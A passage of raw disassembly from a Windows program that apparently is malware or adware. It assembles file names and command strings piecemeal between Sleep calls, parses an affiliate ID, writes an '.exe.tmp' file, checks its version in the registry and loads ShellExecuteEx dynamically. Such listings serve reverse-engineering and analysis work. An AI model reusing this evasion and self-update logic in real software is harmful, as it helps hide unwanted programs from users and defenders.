dword_4331A4 ; time mov eax, [ebp+8] pop ecx lea esi, [eax+edi] jmp short loc_425713 ; --------------------------------------------------------------------------- loc_4256FB: ; CODE XREF: sub_425642+A4j test esi, esi jnz short loc_42571C lea eax, [ebp+8] push eax call dword_4331A4 ; time mov eax, [ebp+8] pop ecx lea esi, [eax+0B4h] loc_425713: ; CODE XREF: sub_425642+B7j push esi lea ecx, [ebp-34h] call sub_426843 loc_42571C: ; CODE XREF: sub_425642+BBj and byte ptr [ebp-4], 0 lea ecx, [ebp-34h] call sub_4266D6 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-10h] call sub_4317A2 mov ecx, [ebp-0Ch] mov eax, esi pop edi mov large fs:0, ecx pop esi leave retn 4 sub_425642 endp ; =============== S U B R O U T I N E ======================================= sub_425746 proc near ; CODE XREF: sub_422A1E+163p arg_0 = dword ptr 4 push ebx push esi push [esp+8+arg_0] mov esi, ecx push 0 push 0 call dword_4330B0 ; CreateMutexA add esi, 0Ch test eax, eax mov [esi], eax jz short loc_425779 call dword_433028 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_425779 push dword ptr [esi] call dword_433020 ; CloseHandle and dword ptr [esi], 0 loc_425779: ; CODE XREF: sub_425746+19j ; sub_425746+26j cmp dword ptr [esi], 0 lea ecx, [esp+8+arg_0] setz bl call sub_4317A2 mov al, bl pop esi pop ebx retn 4 sub_425746 endp ; =============== S U B R O U T I N E ======================================= sub_42578F proc near ; CODE XREF: sub_42852F+E5p mov eax, offset loc_432297 call sub_4318CA ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_4317AE push 1 lea ecx, [ebp-10h] pop ebx push offset aWr ; "WR" mov [ebp-4], ebx call sub_43179C mov esi, dword_4330E0 push 22h call esi ; Sleep push offset dword_437130 lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aP_0 ; "p" lea ecx, [ebp-10h] call sub_4317D8 push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_439CB0 call sub_43178A push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_431796 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_42692B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317AE lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_426D5C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_4317A8 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317A2 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_431796 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_426ABF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317A2 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_42578F endp ; =============== S U B R O U T I N E ======================================= sub_425896 proc near ; CODE XREF: sub_42852F+AEp mov eax, offset loc_4322E3 call sub_4318CA ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_4317AE push 1 lea ecx, [ebp-10h] pop ebx push offset aW ; "W" mov [ebp-4], ebx call sub_43179C mov esi, dword_4330E0 push 22h call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_4317D8 push 22h call esi ; Sleep push offset dword_437130 lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aI ; "i" lea ecx, [ebp-10h] call sub_4317D8 push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_439CB0 call sub_43178A push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_431796 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_42692B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317AE lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_426D5C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_4317A8 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317A2 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_431796 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_426ABF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317A2 mov eax, [ebp+8] mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_425896 endp ; =============== S U B R O U T I N E ======================================= sub_4259AE proc near ; CODE XREF: sub_424606+2E2p mov eax, offset loc_432330 call sub_4318CA ; _EH_prolog sub esp, 34h push esi and dword ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317AE push offset aW ; "W" lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_43179C mov esi, dword_4330E0 push 22h call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_4317D8 push 22h call esi ; Sleep push offset dword_437130 lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aI ; "i" lea ecx, [ebp-10h] call sub_4317D8 mov eax, [ebp+8] mov eax, [eax-8] cmp eax, 3 jl loc_425B07 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-1Ch], esp push offset byte_439CB0 call sub_43178A push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-18h], esp push eax mov byte ptr [ebp-4], 2 call sub_431796 lea ecx, [ebp-40h] mov byte ptr [ebp-4], 1 call sub_42692B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317AE lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_426D5C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_4317A8 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317A2 lea eax, [ebp-14h] push offset asc_437448 ; "," push eax lea eax, [ebp-1Ch] push eax call sub_4317BA lea ecx, [ebp+8] mov byte ptr [ebp-4], 6 push ecx push eax lea eax, [ebp-18h] push eax call sub_4317B4 push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 7 call sub_4317A8 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 6 call sub_4317A2 lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 4 call sub_4317A2 push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-20h], esp push eax call sub_431796 lea ecx, [ebp-40h] call sub_426DB8 lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [ebp-40h] mov byte ptr [ebp-4], 1 call sub_426ABF loc_425B07: ; CODE XREF: sub_4259AE+6Dj and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_4317A2 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_4259AE endp ; =============== S U B R O U T I N E ======================================= sub_425B2E proc near ; CODE XREF: sub_425353+178p mov eax, offset loc_43236C call sub_4318CA ; _EH_prolog sub esp, 30h push esi and dword ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317AE push offset aW ; "W" lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_43179C mov esi, dword_4330E0 push 22h call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_4317D8 push 22h call esi ; Sleep push offset dword_437130 lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aCmd ; "cmd" lea ecx, [ebp-10h] call sub_4317D8 push 80000000h push 1 push ecx mov esi, offset a0 ; "0" mov ecx, esp mov [ebp-18h], esp push esi call sub_43178A push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-1Ch], esp push eax mov byte ptr [ebp-4], 2 call sub_431796 lea ecx, [ebp-3Ch] mov byte ptr [ebp-4], 1 call sub_42692B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317AE lea eax, [ebp-18h] lea ecx, [ebp-3Ch] push eax mov byte ptr [ebp-4], 4 call sub_426D5C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_4317A8 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317A2 push esi push dword ptr [ebp-14h] call dword_4331EC ; _mbscmp pop ecx test eax, eax pop ecx jnz short loc_425C28 push ecx lea eax, [ebp+8] mov ecx, esp mov [ebp-1Ch], esp push eax call sub_431796 lea ecx, [ebp-3Ch] call sub_426DB8 loc_425C28: ; CODE XREF: sub_425B2E+E1j lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [ebp-3Ch] mov byte ptr [ebp-4], 1 call sub_426ABF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_4317A2 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_425B2E endp ; =============== S U B R O U T I N E ======================================= sub_425C67 proc near ; CODE XREF: sub_429039+70p mov eax, offset loc_4323B7 call sub_4318CA ; _EH_prolog sub esp, 34h and dword ptr [ebp-1Ch], 0 push ebx push esi lea ecx, [ebp-10h] call sub_4317AE push 1 lea ecx, [ebp-10h] pop ebx push offset aW ; "W" mov [ebp-4], ebx call sub_43179C mov esi, dword_4330E0 push 22h call esi ; Sleep push offset aR ; "R" lea ecx, [ebp-10h] call sub_4317D8 push 22h call esi ; Sleep push offset dword_437130 lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aC ; "c" lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push offset aMd ; "md" lea ecx, [ebp-10h] call sub_4317D8 push 20h call esi ; Sleep push 80000000h push ebx push ecx mov ecx, esp mov [ebp-18h], esp push offset byte_439CB0 call sub_43178A push ecx lea eax, [ebp-10h] mov ecx, esp mov [ebp-20h], esp push eax mov byte ptr [ebp-4], 2 call sub_431796 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_42692B lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317AE lea eax, [ebp-18h] lea ecx, [ebp-40h] push eax mov byte ptr [ebp-4], 4 call sub_426D5C lea eax, [ebp-18h] lea ecx, [ebp-14h] push eax mov byte ptr [ebp-4], 5 call sub_4317A8 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 4 call sub_4317A2 mov ecx, [ebp+8] lea eax, [ebp-14h] push eax call sub_431796 mov [ebp-1Ch], ebx lea ecx, [ebp-14h] mov byte ptr [ebp-4], 3 call sub_4317A2 lea ecx, [ebp-40h] mov [ebp-4], bl call sub_426ABF and byte ptr [ebp-4], 0 lea ecx, [ebp-10h] call sub_4317A2 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_425C67 endp ; =============== S U B R O U T I N E ======================================= sub_425D94 proc near ; CODE XREF: sub_426022+5Cp mov eax, offset loc_4323DC call sub_4318CA ; _EH_prolog mov eax, 8020h call sub_431860 push ebx push esi push edi mov [ebp-18h], ecx xor ebx, ebx lea ecx, [ebp-1Ch] mov [ebp-4], ebx call sub_4317AE push dword ptr [ebp+8] mov esi, dword_4330CC lea eax, [ebp-602Ch] mov byte ptr [ebp-4], 1 push eax call esi ; lstrcpyA lea eax, [ebp-602Ch] push eax call dword_4330B4 ; lstrlenA mov ecx, [ebp-18h] push eax lea eax, [ebp-602Ch] push eax lea eax, [ebp-10h] push eax call sub_4230F8 push eax lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 2 call sub_4317A8 lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_4317A2 push dword ptr [ebp-1Ch] lea eax, [ebp-402Ch] push eax call dword_433298 ; wsprintfA cmp byte ptr [ebp-402Ch], 23h pop ecx pop ecx jnz loc_425FF8 push ebx lea eax, [ebp-402Ch] push 1 push eax lea eax, [ebp-10h] lea ecx, [ebp-14h] push eax call sub_421ACF push dword ptr [eax] lea eax, [ebp-402Ch] push eax call sub_4318B8 ; strcpy pop ecx pop ecx lea ecx, [ebp-10h] call sub_4317A2 lea eax, [ebp-402Ch] push 23h push eax lea ecx, [ebp-14h] call sub_421A20 mov edi, eax cmp edi, ebx mov [ebp-10h], edi jz loc_425FF8 jmp short loc_425E7B ; --------------------------------------------------------------------------- loc_425E78: ; CODE XREF: sub_425D94+25Ej mov edi, [ebp-10h] loc_425E7B: ; CODE XREF: sub_425D94+E2j cmp edi, 0FFFFFFFFh jnz short loc_425E92 lea eax, [ebp-402Ch] push eax lea eax, [ebp-202Ch] push eax call esi ; lstrcpyA jmp short loc_425EBA ; --------------------------------------------------------------------------- loc_425E92: ; CODE XREF: sub_425D94+EAj push edi lea eax, [ebp-402Ch] push ebx push eax lea eax, [ebp-28h] lea ecx, [ebp-14h] push eax call sub_421ACF push dword ptr [eax] lea eax, [ebp-202Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-28h] call sub_4317A2 loc_425EBA: ; CODE XREF: sub_425D94+FCj inc edi push ebx lea eax, [ebp-402Ch] push edi push eax lea eax, [ebp-20h] push eax lea ecx, [ebp-14h] call sub_421ACF push dword ptr [eax] lea eax, [ebp-402Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-20h] call sub_4317A2 lea eax, [ebp-202Ch] push 3Ah push eax lea ecx, [ebp-14h] call sub_421A20 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_425F4E push edi lea eax, [ebp-202Ch] push ebx push eax lea eax, [ebp-24h] lea ecx, [ebp-14h] push eax call sub_421ACF push dword ptr [eax] lea eax, [ebp-802Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-24h] call sub_4317A2 inc edi push ebx lea eax, [ebp-202Ch] push edi push eax lea eax, [ebp-2Ch] push eax lea ecx, [ebp-14h] call sub_421ACF push dword ptr [eax] lea eax, [ebp-202Ch] push eax call esi ; lstrcpyA lea ecx, [ebp-2Ch] call sub_4317A2 jmp short loc_425F73 ; --------------------------------------------------------------------------- loc_425F4E: ; CODE XREF: sub_425D94+165j lea eax, [ebp-202Ch] push eax lea eax, [ebp-802Ch] push eax call esi ; lstrcpyA push 2000h lea eax, [ebp-202Ch] push ebx push eax call sub_4318B2 ; memset add esp, 0Ch loc_425F73: ; CODE XREF: sub_425D94+1B8j push 5 lea eax, [ebp-802Ch] push offset aAffid ; "affID" push eax call dword_4331AC ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_425FD6 lea eax, [ebp-202Ch] push eax call sub_4318BE ; strlen cmp eax, 1 pop ecx jle short loc_425FBB push 8Dh mov [ebp+eax-202Dh], bl call dword_4330E0 ; Sleep lea eax, [ebp-202Ch] push eax jmp short loc_425FCB ; --------------------------------------------------------------------------- loc_425FBB: ; CODE XREF: sub_425D94+20Aj push 0C0h call dword_4330E0 ; Sleep push offset byte_439CB0 loc_425FCB: ; CODE XREF: sub_425D94+225j mov eax, [ebp-18h] lea ecx, [eax+4] call sub_43179C loc_425FD6: ; CODE XREF: sub_425D94+1F8j cmp dword ptr [ebp-10h], 0FFFFFFFFh jz short loc_425FF8 lea eax, [ebp-402Ch] push 23h push eax lea ecx, [ebp-14h] call sub_421A20 cmp eax, ebx mov [ebp-10h], eax jnz loc_425E78 loc_425FF8: ; CODE XREF: sub_425D94+90j ; sub_425D94+DCj ... lea ecx, [ebp-1Ch] mov [ebp-4], bl call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_4317A2 mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx leave retn 4 sub_425D94 endp ; =============== S U B R O U T I N E ======================================= sub_426022 proc near ; CODE XREF: sub_42948F+59p mov eax, offset loc_432470 call sub_4318CA ; _EH_prolog sub esp, 68h push ebx push esi push edi mov edi, ecx mov esi, dword_4330E0 and dword ptr [ebp-4], 0 push 0CE8h call esi ; Sleep lea ecx, [ebp-14h] call sub_4317AE lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_4317AE lea ecx, [ebp-34h] mov byte ptr [ebp-4], 2 call sub_4317AE push 22h mov byte ptr [ebp-4], 3 call esi ; Sleep push ecx lea eax, [ebp+8] mov ecx, esp mov [ebp-30h], esp push eax call sub_431796 mov ecx, edi call sub_425D94 lea ebx, [edi+1Ch] push offset aM ; "\\m" lea eax, [ebp-2Ch] push ebx push eax call sub_4317BA push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 4 call sub_4317A8 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 3 call sub_4317A2 push 22h call esi ; Sleep push offset aRo ; "ro" lea ecx, [ebp-14h] call sub_4317D8 push 22h call esi ; Sleep push offset aFinu ; "finu" lea ecx, [ebp-14h] call sub_4317D8 push 20h call esi ; Sleep lea eax, [edi+4] push offset a_ex ; ".ex" push eax lea eax, [ebp-2Ch] push eax call sub_4317BA push eax lea ecx, [ebp-14h] mov byte ptr [ebp-4], 5 call sub_4317E4 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 3 call sub_4317A2 push offset aE ; "e" lea ecx, [ebp-14h] call sub_4317D8 push ebx lea ecx, [ebp-18h] call sub_4317A8 push offset dword_437130 lea ecx, [ebp-18h] call sub_4317D8 push 21h call esi ; Sleep push offset aMr ; "mr" lea ecx, [ebp-18h] call sub_4317D8 push 22h call esi ; Sleep push offset aOf ; "of" lea ecx, [ebp-18h] call sub_4317D8 lea eax, [edi+4] push eax lea eax, [ebp-28h] push offset aInu ; "inu" push eax call sub_4317DE push offset a_exe_tmp ; ".exe.tmp" push eax lea eax, [ebp-2Ch] mov byte ptr [ebp-4], 6 push eax call sub_4317BA push eax lea ecx, [ebp-18h] mov byte ptr [ebp-4], 7 call sub_4317E4 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 6 call sub_4317A2 lea ecx, [ebp-28h] mov byte ptr [ebp-4], 3 call sub_4317A2 push 20h call esi ; Sleep push ecx lea eax, [ebp+8] mov ecx, esp mov [ebp-30h], esp push eax call sub_431796 push ecx lea eax, [ebp-14h] mov ecx, esp mov [ebp-2Ch], esp push eax mov byte ptr [ebp-4], 8 call sub_431796 mov ecx, edi mov byte ptr [ebp-4], 3 call sub_425353 push dword ptr [edi+20h] lea ebx, [edi+20h] push dword ptr [ebp-14h] call dword_4331EC ; _mbscmp pop ecx test eax, eax pop ecx jz short loc_426229 push dword ptr [ebp-18h] call sub_4221DB test eax, eax pop ecx jz short loc_4261ED push 1 push dword ptr [ebp-18h] call sub_421C92 pop ecx pop ecx loc_4261ED: ; CODE XREF: sub_426022+1BDj push dword ptr [ebp-14h] call sub_4221DB test eax, eax pop ecx jz short loc_42620A push 1 push dword ptr [ebp-18h] push dword ptr [ebp-14h] call sub_421D8A add esp, 0Ch loc_42620A: ; CODE XREF: sub_426022+1D6j mov eax, [ebx] push 1 push dword ptr [ebp-14h] push eax call sub_421D8A add esp, 0Ch test eax, eax jz short loc_426229 lea eax, [ebp-14h] mov ecx, ebx push eax call sub_4317A8 loc_426229: ; CODE XREF: sub_426022+1B0j ; sub_426022+1FAj push 80000002h push 1 push ecx mov ecx, esp mov [ebp-30h], esp push offset aDefaultvalue ; "defaultvalue" call sub_43178A push ecx mov ecx, edi mov eax, esp mov [ebp-2Ch], esp push 72h push offset a11866787a5f240 ; "11866787A5F240675EE6610530A652BC94C74E7"... push eax mov byte ptr [ebp-4], 9 call sub_4230F8 lea ecx, [ebp-74h] mov byte ptr [ebp-4], 3 call sub_42692B lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 0Ah call sub_4317AE push offset aWr ; "WR" lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 0Bh call sub_43179C push 20h call esi ; Sleep push offset aVersion_1 ; "\\version" lea ecx, [ebp-1Ch] call sub_4317D8 push 80000000h push 1 push ecx mov ecx, esp mov [ebp-30h], esp push edi call sub_431796 push ecx lea eax, [ebp-1Ch] mov ecx, esp mov [ebp-2Ch], esp push eax mov byte ptr [ebp-4], 0Ch call sub_431796 lea ecx, [ebp-54h] mov byte ptr [ebp-4], 0Bh call sub_42692B lea eax, [ebp-24h] lea ecx, [ebp-74h] push eax mov byte ptr [ebp-4], 0Dh call sub_426D5C lea eax, [ebp-24h] lea ecx, [ebp-2Ch] push eax mov byte ptr [ebp-4], 0Eh call sub_431796 push eax lea ecx, [edi+24h] mov byte ptr [ebp-4], 0Fh call sub_4317A8 lea ecx, [ebp-2Ch] mov byte ptr [ebp-4], 0Eh call sub_4317A2 lea ecx, [ebp-24h] mov byte ptr [ebp-4], 0Dh call sub_4317A2 push dword ptr [edi] mov ebx, dword_4331A8 call ebx ; atoi pop ecx mov [ebp-2Ch], eax mov dword ptr [ebp-4], 0Dh push 2Ah call esi ; Sleep and dword ptr [ebp-20h], 0 lea eax, [edi+14h] mov [ebp-24h], eax loc_42632D: ; CODE XREF: sub_426022+358j lea eax, [ebp-28h] lea ecx, [ebp-54h] push eax call sub_426D5C mov ecx, [ebp-24h] lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 12h call sub_4317A8 lea ecx, [ebp-28h] mov byte ptr [ebp-4], 0Dh call sub_4317A2 mov eax, [ebp-24h] push dword ptr [eax] call ebx ; atoi cmp eax, [ebp-2Ch] pop ecx mov [ebp-30h], eax mov dword ptr [ebp-4], 0Dh jge short loc_42637C push 13A9h call esi ; Sleep inc dword ptr [ebp-20h] cmp dword ptr [ebp-20h], 0Ah jl short loc_42632D loc_42637C: ; CODE XREF: sub_426022+348j mov eax, [ebp-2Ch] cmp [ebp-30h], eax jle short loc_42638A mov byte ptr [edi+18h], 1 jmp short loc_4263A4 ; --------------------------------------------------------------------------- loc_42638A: ; CODE XREF: sub_426022+360j and byte ptr [edi+18h], 0 push ecx mov ecx, esp mov [ebp-30h], esp push dword ptr [ebp-24h] call sub_431796 lea ecx, [ebp-54h] call sub_426DB8 loc_4263A4: ; CODE XREF: sub_426022+366j lea ecx, [ebp-54h] mov byte ptr [ebp-4], 0Bh call sub_426ABF lea ecx, [ebp-1Ch] mov byte ptr [ebp-4], 0Ah call sub_4317A2 lea ecx, [ebp-74h] mov byte ptr [ebp-4], 3 call sub_426ABF lea ecx, [ebp-34h] mov byte ptr [ebp-4], 2 call sub_4317A2 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 1 call sub_4317A2 and byte ptr [ebp-4], 0 lea ecx, [ebp-14h] call sub_4317A2 or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+8] call sub_4317A2 mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx leave retn 4 sub_426022 endp ; =============== S U B R O U T I N E ======================================= sub_42640B proc near ; CODE XREF: sub_422C48+265p mov eax, offset loc_43247C call sub_4318CA ; _EH_prolog sub esp, 0Ch push ebx push esi push edi mov ebx, ecx mov [ebp-10h], esp push offset aShell32_dll ; "shell32.dll" call dword_4330DC ; LoadLibraryA test eax, eax mov [ebp-14h], eax jz short loc_42647D push offset aShellexecuteex ; "ShellExecuteEx" push eax call dword_433060 ; GetProcAddress mov edi, eax test edi, edi jz short loc_426474 mov esi, dword_4330E0 push 26h call esi ; Sleep push ecx mov ecx, esp mov [ebp-18h], esp push offset aSei ; "sei \n" call sub_43178A mov ecx, ebx call sub_424B35 push 2Ah call esi ; Sleep and dword ptr [ebp-4], 0 mov eax, eax push dword ptr [ebp+8] call edi ; lstrcpyA loc_426474: ; CODE XREF: sub_42640B+37j ; DATA XREF: sub_426490o push dword ptr [ebp-14h] call dword_433054 ; FreeLibrary loc_42647D: ; CODE XREF: sub_42640B+25j mov ecx, [ebp-0Ch] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx leave retn 4 sub_42640B endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; DATA XREF: TEUm:004356DCo mov eax, offset loc_426474 retn sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_426496 proc near ; CODE XREF: sub_424B41+3FEp ; sub_424B41+416p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call dword_433074 ; lstrcatA retn 8 sub_426496 endp ; =============== S U B R O U T I N E ======================================= sub_4264A7 proc near ; CODE XREF: sub_423489+61p ; sub_423489+BC9p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push edi mov edi, [esi] cmp edi, eax jz short loc_4264CB test eax, eax mov [esi], eax jz short loc_4264C1 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_4264C1: ; CODE XREF: sub_4264A7+12j test edi, edi jz short loc_4264CB mov eax, [edi] push edi call dword ptr [eax+8] loc_4264CB: ; CODE XREF: sub_4264A7+Cj ; sub_4264A7+1Cj mov eax, esi pop edi pop esi retn 4 sub_4264A7 endp ; =============== S U B R O U T I N E ======================================= sub_4264D2 proc near ; CODE XREF: sub_423489+69p ; sub_423489+BD4p ... mov eax, [ecx] test eax, eax jz short locret_4264DE mov ecx, [eax] push eax call dword ptr [ecx+8] locret_4264DE: ; CODE XREF: sub_4264D2+4j retn sub_4264D2 endp ; =============== S U B R O U T I N E ======================================= sub_4264DF proc near ; CODE XREF: sub_423489+77p ; sub_423489+47Ap ... arg_0 = dword ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4264F3 push 80004003h call sub_431AB2 loc_4264F3: ; CODE XREF: sub_4264DF+8j xor eax, eax cmp [esi], eax pop esi setz al retn 4 sub_4264DF endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_432499 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp-10h], ecx mov ecx, [ebp-10h] call sub_4281D0 mov dword ptr [ebp-4], 0 mov eax, [ebp-10h] mov dword ptr [eax+10h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+14h], 0 push offset dword_439CB8 mov ecx, [ebp-10h] add ecx, 8 call sub_43179C mov edx, [ebp-10h] mov dword ptr [edx], 80000001h mov eax, [ebp-10h] mov dword ptr [eax+18h], 0 mov ecx, [ebp-10h] mov dword ptr [ecx+1Ch], 0 mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426584 proc near ; CODE XREF: sub_423489+3B6p ; sub_424B41+267p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_426584 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov [ebp+var_18], ecx mov [ebp+var_4], 0 mov ecx, [ebp+var_18] call sub_4281D0 mov byte ptr [ebp+var_4], 1 mov eax, [ebp+var_18] mov dword ptr [eax+10h], 0 mov ecx, [ebp+var_18] mov edx, [ebp+arg_4] mov [ecx+14h], edx mov eax, [ebp+var_18] mov ecx, [ebp+arg_8] mov [eax+1Ch], ecx mov edx, [ebp+var_18] mov eax, [ebp+arg_C] mov [edx], eax mov ecx, [ebp+var_18] mov dword ptr [ecx+18h], 0 push offset asc_437534 ; "\\" lea ecx, [ebp+arg_0] call sub_4317F6 push 5Ch lea ecx, [ebp+arg_0] call sub_4317C6 push eax lea edx, [ebp+var_10] push edx lea ecx, [ebp+arg_0] call sub_4317C0 mov [ebp+var_1C], eax mov eax, [ebp+var_1C] mov [ebp+var_20], eax mov byte ptr [ebp+var_4], 2 mov ecx, [ebp+var_20] push ecx mov ecx, [ebp+var_18] add ecx, 0Ch call sub_4317A8 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_10] call sub_4317A2 push offset asc_437538 ; "\\" mov ecx, [ebp+var_18] add ecx, 0Ch call sub_4317F0 lea ecx, [ebp+arg_0] call sub_428280 mov esi, eax push 5Ch lea ecx, [ebp+arg_0] call sub_4317C6 sub esi, eax push esi lea edx, [ebp+var_14] push edx lea ecx, [ebp+arg_0] call sub_4317EA mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_28], eax mov byte ptr [ebp+var_4], 3 mov ecx, [ebp+var_28] push ecx mov ecx, [ebp+var_18] add ecx, 8 call sub_4317A8 mov byte ptr [ebp+var_4], 1 lea ecx, [ebp+var_14] call sub_4317A2 push offset asc_43753C ; "\\" mov ecx, [ebp+var_18] add ecx, 8 call sub_4317F6 push offset asc_437540 ; "\\" mov ecx, [ebp+var_18] add ecx, 8 call sub_4317F0 mov ecx, [ebp+var_18] call sub_4266E9 mov [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+arg_0] call sub_4317A2 mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx pop esi mov esp, ebp pop ebp retn 10h sub_426584 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266D6 proc near 